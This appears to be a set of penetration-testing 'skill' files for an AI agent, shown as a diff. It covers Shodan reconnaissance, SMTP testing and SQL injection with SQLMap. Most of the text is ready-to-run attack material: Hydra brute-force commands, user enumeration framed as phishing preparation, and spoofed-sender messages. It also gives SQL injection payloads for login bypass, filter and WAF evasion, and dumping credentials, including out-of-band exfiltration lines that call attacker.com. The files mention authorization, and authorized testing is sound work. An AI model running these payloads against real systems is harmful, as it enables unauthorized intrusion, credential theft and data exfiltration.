### Operational Boundaries
- Rate limited to 1 request per second
- Scan results not immediate (asynchronous)
- Cannot re-scan same IP within 24 hours (non-Enterprise)
- Free accounts have limited credits
- Some data requires paid subscription
### Data Freshness
- Shodan crawls continuously but data may be days/weeks old
- On-demand scans provide current data but cost credits
- Historical data available with paid plans
### Legal Requirements
- Only perform reconnaissance on authorized targets
- Passive reconnaissance generally legal but verify jurisdiction
- Active scanning (scan submit) requires authorization
- Document all reconnaissance activities
## Examples
### Example 1: Organization Reconnaissance
```bash
# Find all hosts belonging to target organization
shodan search 'org:"Target Company"'
# Get statistics on their infrastructure
shodan stats --facets port,product,country 'org:"Target Company"'
# Download detailed data
shodan download target_data.json.gz 'org:"Target Company"'
# Parse for specific info
shodan parse --fields ip_str,port,product target_data.json.gz
```
### Example 2: Vulnerable Service Discovery
```bash
# Find hosts vulnerable to BlueKeep (RDP CVE)
shodan search 'vuln:CVE-2019-0708 country:US'
# Find exposed Elasticsearch with no auth
shodan search 'product:elastic port:9200 -authentication'
# Find Log4j vulnerable systems
shodan search 'vuln:CVE-2021-44228'
```
### Example 3: IoT Device Discovery
```bash
# Find exposed webcams
shodan search 'webcam has_screenshot:true country:US'
# Find industrial control systems
shodan search 'port:502 product:modbus'
# Find exposed printers
shodan search '"HP-ChaiSOE" port:80'
# Find smart home devices
shodan search 'product:nest'
```
### Example 4: SSL/TLS Certificate Analysis
```bash
# Find hosts with specific SSL cert
shodan search 'ssl.cert.subject.cn:*.example.com'
# Find expired certificates
shodan search 'ssl.cert.expired:true org:"Company"'
# Find self-signed certificates
shodan search 'ssl.cert.issuer.cn:self-signed'
```
### Example 5: Python Automation Script
```python
#!/usr/bin/env python3
import shodan
import json
API_KEY = 'YOUR_API_KEY'
api = shodan.Shodan(API_KEY)
def recon_organization(org_name):
"""Perform reconnaissance on an organization"""
try:
# Search for organization
query = f'org:"{org_name}"'
results = api.search(query)
print(f"[*] Found {results['total']} hosts for {org_name}")
# Collect unique IPs and ports
hosts = {}
for result in results['matches']:
ip = result['ip_str']
port = result['port']
product = result.get('product', 'unknown')
if ip not in hosts:
hosts[ip] = []
hosts[ip].append({'port': port, 'product': product})
# Output findings
for ip, services in hosts.items():
print(f"\n[+] {ip}")
for svc in services:
print(f" - {svc['port']}/tcp ({svc['product']})")
return hosts
except shodan.APIError as e:
print(f"Error: {e}")
return None
if __name__ == '__main__':
recon_organization("Target Company")
```
### Example 6: Network Range Assessment
```bash
# Scan a /24 network range
shodan search 'net:192.168.1.0/24'
# Get port distribution
shodan stats --facets port 'net:192.168.1.0/24'
# Find specific vulnerabilities in range
shodan search 'net:192.168.1.0/24 vuln:CVE-2021-44228'
# Export all data for range
shodan download network_scan.json.gz 'net:192.168.1.0/24'
```
## Troubleshooting
| Issue | Cause | Solution |
|-------|-------|----------|
| No API Key Configured | Key not initialized | Run `shodan init YOUR_API_KEY` then verify with `shodan info` |
| Query Credits Exhausted | Monthly credits consumed | Use credit-free queries (no filters), wait for reset, or upgrade |
| Host Recently Crawled | Cannot re-scan IP within 24h | Use `shodan host IP` for existing data, or wait 24 hours |
| Rate Limit Exceeded | >1 request/second | Add `time.sleep(1)` between API requests |
| Empty Search Results | Too specific or syntax error | Use quotes for phrases: `'org:"Company Name"'`; broaden criteria |
| Downloaded File Won't Parse | Corrupted or wrong format | Verify with `gunzip -t file.gz`, re-download with `--limit` |

View File

@@ -0,0 +1,497 @@
---
name: SMTP Penetration Testing
description: This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.
---
# SMTP Penetration Testing
## Purpose
Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.
## Prerequisites
### Required Tools
```bash
# Nmap with SMTP scripts
sudo apt-get install nmap
# Netcat
sudo apt-get install netcat
# Hydra for brute force
sudo apt-get install hydra
# SMTP user enumeration tool
sudo apt-get install smtp-user-enum
# Metasploit Framework
msfconsole
```
### Required Knowledge
- SMTP protocol fundamentals
- Email architecture (MTA, MDA, MUA)
- DNS and MX records
- Network protocols
### Required Access
- Target SMTP server IP/hostname
- Written authorization for testing
- Wordlists for enumeration and brute force
## Outputs and Deliverables
1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings
2. **User Enumeration Results** - Valid email addresses discovered
3. **Relay Test Results** - Open relay status and exploitation potential
4. **Remediation Recommendations** - Security hardening guidance
## Core Workflow
### Phase 1: SMTP Architecture Understanding
```
Components: MTA (transfer) → MDA (delivery) → MUA (client)
Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
```
### Phase 2: SMTP Service Discovery
Identify SMTP servers and versions:
```bash
# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP
# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP
# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP
# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com
```
### Phase 3: Banner Grabbing
Retrieve SMTP server information:
```bash
# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix
# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP
# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info
# Manual SMTP commands
EHLO test
# Response reveals supported extensions
```
Parse banner information:
```
Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)
```
### Phase 4: SMTP Command Enumeration
Test available SMTP commands:
```bash
# Connect and test commands
nc TARGET_IP 25
# Initial greeting
EHLO attacker.com
# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN
```
Key commands to test:
```bash
# VRFY - Verify user exists
VRFY admin
250 2.1.5 admin@target.com
# EXPN - Expand mailing list
EXPN staff
250 2.1.5 user1@target.com
250 2.1.5 user2@target.com
# RCPT TO - Recipient verification
MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
# 250 OK = user exists
# 550 = user doesn't exist
```
### Phase 5: User Enumeration
Enumerate valid email addresses:
```bash
# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
```
Using Metasploit:
```bash
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run
```
Using Nmap:
```bash
# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP
# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
```
### Phase 6: Open Relay Testing
Test for unauthorized email relay:
```bash
# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP
# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<victim@external-domain.com>
DATA
Subject: Relay Test
This is a test.
.
QUIT
# If accepted (250 OK), server is open relay
```
Using Metasploit:
```bash
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run
```
Test variations:
```bash
# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<test@target.com>
RCPT TO:<test@external.com>
RCPT TO:<"test@external.com">
RCPT TO:<test%external.com@target.com>
```
### Phase 7: Brute Force Authentication
Test for weak SMTP credentials:
```bash
# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
# Multiple users
hydra -L users.txt -P passwords.txt TARGET_IP smtp
# Verbose output
hydra -l admin -P passwords.txt smtp://TARGET_IP -V
```
Using Medusa:
```bash
medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp
```
Using Metasploit:
```bash
use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run
```
### Phase 8: SMTP Command Injection
Test for command injection vulnerabilities:
```bash
# Header injection test
MAIL FROM:<attacker@test.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test
Bcc: hidden@attacker.com
X-Injected: malicious-header
Injected content
.
```
Email spoofing test:
```bash
# Spoofed sender (tests SPF/DKIM protection)
MAIL FROM:<ceo@target.com>
RCPT TO:<employee@target.com>
DATA
From: CEO <ceo@target.com>
Subject: Urgent Request
Please process this request immediately.
.
```
### Phase 9: TLS/SSL Security Testing
Test encryption configuration:
```bash
# STARTTLS support check
openssl s_client -connect TARGET_IP:25 -starttls smtp
# Direct SSL (port 465)
openssl s_client -connect TARGET_IP:465
# Cipher enumeration
nmap --script ssl-enum-ciphers -p 25 TARGET_IP
```
### Phase 10: SPF, DKIM, DMARC Analysis
Check email authentication records:
```bash
# SPF/DKIM/DMARC record lookups
dig TXT target.com | grep spf # SPF
dig TXT selector._domainkey.target.com # DKIM
dig TXT _dmarc.target.com # DMARC
# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral
```
## Quick Reference
### Essential SMTP Commands
| Command | Purpose | Example |
|---------|---------|---------|
| HELO | Identify client | `HELO client.com` |
| EHLO | Extended HELO | `EHLO client.com` |
| MAIL FROM | Set sender | `MAIL FROM:<sender@test.com>` |
| RCPT TO | Set recipient | `RCPT TO:<user@target.com>` |
| DATA | Start message body | `DATA` |
| VRFY | Verify user | `VRFY admin` |
| EXPN | Expand alias | `EXPN staff` |
| QUIT | End session | `QUIT` |
### SMTP Response Codes
| Code | Meaning |
|------|---------|
| 220 | Service ready |
| 221 | Closing connection |
| 250 | OK / Requested action completed |
| 354 | Start mail input |
| 421 | Service not available |
| 450 | Mailbox unavailable |
| 550 | User unknown / Mailbox not found |
| 553 | Mailbox name not allowed |
### Enumeration Tool Commands
| Tool | Command |
|------|---------|
| smtp-user-enum | `smtp-user-enum -M VRFY -U users.txt -t IP` |
| Nmap | `nmap --script smtp-enum-users -p 25 IP` |
| Metasploit | `use auxiliary/scanner/smtp/smtp_enum` |
| Netcat | `nc IP 25` then manual commands |
### Common Vulnerabilities
| Vulnerability | Risk | Test Method |
|--------------|------|-------------|
| Open Relay | High | Relay test with external recipient |
| User Enumeration | Medium | VRFY/EXPN/RCPT commands |
| Banner Disclosure | Low | Banner grabbing |
| Weak Auth | High | Brute force attack |
| No TLS | Medium | STARTTLS test |
| Missing SPF/DKIM | Medium | DNS record lookup |
## Constraints and Limitations
### Legal Requirements
- Only test SMTP servers you own or have authorization to test
- Sending spam or malicious emails is illegal
- Document all testing activities
- Do not abuse discovered open relays
### Technical Limitations
- VRFY/EXPN often disabled on modern servers
- Rate limiting may slow enumeration
- Some servers respond identically for valid/invalid users
- Greylisting may delay enumeration responses
### Ethical Boundaries
- Never send actual spam through discovered relays
- Do not harvest email addresses for malicious use
- Report open relays to server administrators
- Use findings only for authorized security improvement
## Examples
### Example 1: Complete SMTP Assessment
**Scenario:** Full security assessment of mail server
```bash
# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com
# Step 2: Banner grab
nc mail.target.com 25
EHLO test.com
QUIT
# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com
# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.com
# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com
# Step 6: TLS check
openssl s_client -connect mail.target.com:25 -starttls smtp
# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com
```
### Example 2: User Enumeration Attack
**Scenario:** Enumerate valid users for phishing preparation
```bash
# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25
# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com
# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run
# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster
```
### Example 3: Open Relay Exploitation
**Scenario:** Test and document open relay vulnerability
```bash
# Test via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<test@gmail.com>
# If 250 OK - VULNERABLE
# Document with Nmap
nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com
# Output:
# PORT STATE SERVICE
# 25/tcp open smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)
```
## Troubleshooting
| Issue | Cause | Solution |
|-------|-------|----------|
| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587/465; use VPN |
| VRFY/EXPN Disabled | Server hardened | Use RCPT TO method; analyze response time/code variations |
| Brute Force Blocked | Rate limiting/lockout | Slow down (`hydra -W 5`); use password spraying; check for fail2ban |
| SSL/TLS Errors | Wrong port or protocol | Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response |
## Security Recommendations
### For Administrators
1. **Disable Open Relay** - Require authentication for external delivery
2. **Disable VRFY/EXPN** - Prevent user enumeration
3. **Enforce TLS** - Require STARTTLS for all connections
4. **Implement SPF/DKIM/DMARC** - Prevent email spoofing
5. **Rate Limiting** - Prevent brute force attacks
6. **Account Lockout** - Lock accounts after failed attempts
7. **Banner Hardening** - Minimize server information disclosure
8. **Log Monitoring** - Alert on suspicious activity
9. **Patch Management** - Keep SMTP software updated
10. **Access Controls** - Restrict SMTP to authorized IPs

View File

@@ -0,0 +1,445 @@
---
name: SQL Injection Testing
description: This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.
---
# SQL Injection Testing
## Purpose
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
## Inputs / Prerequisites
### Required Access
- Target web application URL with injectable parameters
- Burp Suite or equivalent proxy tool for request manipulation
- SQLMap installation for automated exploitation
- Browser with developer tools enabled
### Technical Requirements
- Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
- Knowledge of HTTP request/response cycle
- Familiarity with database schemas and structures
- Write permissions for testing reports
### Legal Prerequisites
- Written authorization for penetration testing
- Defined scope including target URLs and parameters
- Emergency contact procedures established
- Data handling agreements in place
## Outputs / Deliverables
### Primary Outputs
- SQL injection vulnerability report with severity ratings
- Extracted database schemas and table structures
- Authentication bypass proof-of-concept demonstrations
- Remediation recommendations with code examples
### Evidence Artifacts
- Screenshots of successful injections
- HTTP request/response logs
- Database dumps (sanitized)
- Payload documentation
## Core Workflow
### Phase 1: Detection and Reconnaissance
#### Identify Injectable Parameters
Locate user-controlled input fields that interact with database queries:
```
# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For
```
#### Test for Basic Vulnerability Indicators
Insert special characters to trigger error responses:
```sql
-- Single quote test
'
-- Double quote test
"
-- Comment sequences
--
#
/**/
-- Semicolon for query stacking
;
-- Parentheses
)
```
Monitor application responses for:
- Database error messages revealing query structure
- Unexpected application behavior changes
- HTTP 500 Internal Server errors
- Modified response content or length
#### Logic Testing Payloads
Verify boolean-based vulnerability presence:
```sql
-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- False condition tests
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--
```
Compare responses between true and false conditions to confirm injection capability.
### Phase 2: Exploitation Techniques
#### UNION-Based Extraction
Combine attacker-controlled SELECT statements with original query:
```sql
-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs
-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
```
#### Error-Based Extraction
Force database errors that leak information:
```sql
-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--
```
#### Blind Boolean-Based Extraction
Infer data through application behavior changes:
```sql
-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
```
#### Time-Based Blind Extraction
Use database sleep functions for confirmation:
```sql
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--
```
#### Out-of-Band (OOB) Extraction
Exfiltrate data through external channels:
```sql
-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
```
### Phase 3: Authentication Bypass
#### Login Form Exploitation
Craft payloads to bypass credential verification:
```sql
-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2
```
Query transformation example:
```sql
-- Original query
SELECT * FROM users WHERE username='input' AND password='input'
-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed via comment
```
### Phase 4: Filter Bypass Techniques
#### Character Encoding Bypass
When special characters are blocked:
```sql
-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)
-- Double URL encoding
%2527 (single quote)
-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)
-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hex
```
#### Whitespace Bypass
Substitute blocked spaces:
```sql
-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users
-- Alternative whitespace
SELECT%09username%09FROM%09users -- Tab character
SELECT%0Ausername%0AFROM%0Ausers -- Newline
```
#### Keyword Bypass
Evade blacklisted SQL keywords:
```sql
-- Case variation
SeLeCt, sElEcT, SELECT
-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION
-- Double writing (if filter removes once)
SELSELECTECT SELECT
UNUNIONION UNION
-- Null byte injection
%00SELECT
SEL%00ECT
```
## Quick Reference
### Detection Test Sequence
```
1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
```
### Database Fingerprinting
```sql
-- MySQL
SELECT @@version
SELECT version()
-- MSSQL
SELECT @@version
SELECT @@servername
-- PostgreSQL
SELECT version()
-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version
```
### Information Schema Queries
```sql
-- MySQL/MSSQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
```
### Common Payloads Quick List
| Purpose | Payload |
|---------|---------|
| Basic test | `'` or `"` |
| Boolean true | `OR 1=1--` |
| Boolean false | `AND 1=2--` |
| Comment (MySQL) | `#` or `-- ` |
| Comment (MSSQL) | `--` |
| UNION probe | `UNION SELECT NULL--` |
| Time delay | `AND SLEEP(5)--` |
| Auth bypass | `' OR '1'='1` |
## Constraints and Guardrails
### Operational Boundaries
- Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
- Limit data extraction to proof-of-concept quantities
- Avoid denial-of-service through resource-intensive queries
- Stop immediately upon detecting production database with real user data
### Technical Limitations
- WAF/IPS may block common payloads requiring evasion techniques
- Parameterized queries prevent standard injection
- Some blind injection requires extensive requests (rate limiting concerns)
- Second-order injection requires understanding of data flow
### Legal and Ethical Requirements
- Written scope agreement must exist before testing
- Document all extracted data and handle per data protection requirements
- Report critical vulnerabilities immediately through agreed channels
- Never access data beyond scope requirements
## Examples
### Example 1: E-commerce Product Page SQLi
**Scenario**: Testing product display page with ID parameter
**Initial Request**:
```
GET /product.php?id=5 HTTP/1.1
```
**Detection Test**:
```
GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near '''
```
**Column Enumeration**:
```
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)
```
**Data Extraction**:
```
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials
```
### Example 2: Blind Time-Based Extraction
**Scenario**: No visible output, testing for blind injection
**Confirm Vulnerability**:
```sql
id=5' AND SLEEP(5)--
-- Response delayed by 5 seconds (vulnerable confirmed)
```
**Extract Database Name Length**:
```sql
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 characters
```
**Extract Characters**:
```sql
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'
```
### Example 3: Login Bypass
**Target**: Admin login form
**Standard Login Query**:
```sql
SELECT * FROM users WHERE username='[input]' AND password='[input]'
```
**Injection Payload**:
```
Username: administrator'--
Password: anything
```
**Resulting Query**:
```sql
SELECT * FROM users WHERE username='administrator'--' AND password='anything'
```
**Result**: Password check bypassed, authenticated as administrator.
## Troubleshooting
### No Error Messages Displayed
- Application uses generic error handling
- Switch to blind injection techniques (boolean or time-based)
- Monitor response length differences instead of content
### UNION Injection Fails
- Column count may be incorrect → Test with ORDER BY
- Data types may mismatch → Use NULL for all columns first
- Results may not display → Find injectable column positions
### WAF Blocking Requests
- Use encoding techniques (URL, hex, unicode)
- Insert inline comments within keywords
- Try alternative syntax for same operations
- Fragment payload across multiple parameters
### Payload Not Executing
- Verify correct comment syntax for database type
- Check if application uses parameterized queries
- Confirm input reaches SQL query (not filtered client-side)
- Test different injection points (headers, cookies)
### Time-Based Injection Inconsistent
- Network latency may cause false positives
- Use longer delays (10+ seconds) for clarity
- Run multiple tests to confirm pattern
- Consider server-side caching effects

View File

@@ -0,0 +1,397 @@
---
name: SQLMap Database Penetration Testing
description: This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.
---
# SQLMap Database Penetration Testing
## Purpose
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
## Inputs / Prerequisites
- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)
- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub
- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable
- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection
- **Authorization**: Written permission for penetration testing activities
## Outputs / Deliverables
- **Database Enumeration**: List of all databases on the target server
- **Table Structure**: Complete table names within target database
- **Column Mapping**: Column names and data types for each table
- **Extracted Data**: Dumped records including usernames, passwords, and sensitive data
- **Hash Values**: Password hashes for offline cracking
- **Vulnerability Report**: Confirmation of SQL injection type and severity
## Core Workflow
### 1. Identify SQL Injection Vulnerability
#### Manual Verification
```bash
# Add single quote to break query
http://target.com/page.php?id=1'
# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"
```
#### Initial SQLMap Scan
```bash
# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch
# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
```
### 2. Enumerate Databases
#### List All Databases
```bash
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
```
**Key Options:**
- `-u`: Target URL with injectable parameter
- `--dbs`: Enumerate database names
- `--batch`: Use default answers (non-interactive mode)
### 3. Enumerate Tables
#### List Tables in Specific Database
```bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
```
**Key Options:**
- `-D`: Specify target database name
- `--tables`: Enumerate table names
### 4. Enumerate Columns
#### List Columns in Specific Table
```bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
```
**Key Options:**
- `-T`: Specify target table name
- `--columns`: Enumerate column names
### 5. Extract Data
#### Dump Specific Table Data
```bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
```
#### Dump Specific Columns
```bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch
```
#### Dump Entire Database
```bash
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
```
**Key Options:**
- `--dump`: Extract all data from specified table
- `--dump-all`: Extract all data from all tables
- `-C`: Specify column names to extract
### 6. Advanced Target Options
#### Target from HTTP Request File
```bash
# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch
```
#### Target from Log File
```bash
# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch
```
#### Target Multiple URLs (Bulk File)
```bash
# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch
```
#### Target via Google Dorks (Use with Caution)
```bash
# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch
```
## Quick Reference Commands
### Database Enumeration Progression
| Stage | Command |
|-------|---------|
| List Databases | `sqlmap -u "URL" --dbs --batch` |
| List Tables | `sqlmap -u "URL" -D dbname --tables --batch` |
| List Columns | `sqlmap -u "URL" -D dbname -T tablename --columns --batch` |
| Dump Data | `sqlmap -u "URL" -D dbname -T tablename --dump --batch` |
| Dump All | `sqlmap -u "URL" -D dbname --dump-all --batch` |
### Supported Database Management Systems
| DBMS | Support Level |
|------|---------------|
| MySQL | Full Support |
| PostgreSQL | Full Support |
| Microsoft SQL Server | Full Support |
| Oracle | Full Support |
| Microsoft Access | Full Support |
| IBM DB2 | Full Support |
| SQLite | Full Support |
| Firebird | Full Support |
| Sybase | Full Support |
| SAP MaxDB | Full Support |
| HSQLDB | Full Support |
| Informix | Full Support |
### SQL Injection Techniques
| Technique | Description | Flag |
|-----------|-------------|------|
| Boolean-based blind | Infers data from true/false responses | `--technique=B` |
| Time-based blind | Uses time delays to infer data | `--technique=T` |
| Error-based | Extracts data from error messages | `--technique=E` |
| UNION query-based | Uses UNION to append results | `--technique=U` |
| Stacked queries | Executes multiple statements | `--technique=S` |
| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |
### Essential Options
| Option | Description |
|--------|-------------|
| `-u` | Target URL |
| `-r` | Load HTTP request from file |
| `-l` | Parse targets from Burp/WebScarab log |
| `-m` | Bulk file with multiple targets |
| `-g` | Google dork (use responsibly) |
| `--dbs` | Enumerate databases |
| `--tables` | Enumerate tables |
| `--columns` | Enumerate columns |
| `--dump` | Dump table data |
| `--dump-all` | Dump all database data |
| `-D` | Specify database |
| `-T` | Specify table |
| `-C` | Specify columns |
| `--batch` | Non-interactive mode |
| `--random-agent` | Use random User-Agent |
| `--level` | Level of tests (1-5) |
| `--risk` | Risk of tests (1-3) |
## Constraints and Limitations
### Operational Boundaries
- Requires valid injectable parameter in target URL
- Network connectivity to target database server required
- Large database dumps may take significant time
- Some WAF/IPS systems may block SQLMap traffic
- Time-based attacks significantly slower than error-based
### Performance Considerations
- Use `--threads` to speed up enumeration (default: 1)
- Limit dumps with `--start` and `--stop` for large tables
- Use `--technique` to specify faster injection method if known
### Legal Requirements
- Only test systems with explicit written authorization
- Google dork attacks against unknown sites are illegal
- Document all testing activities and findings
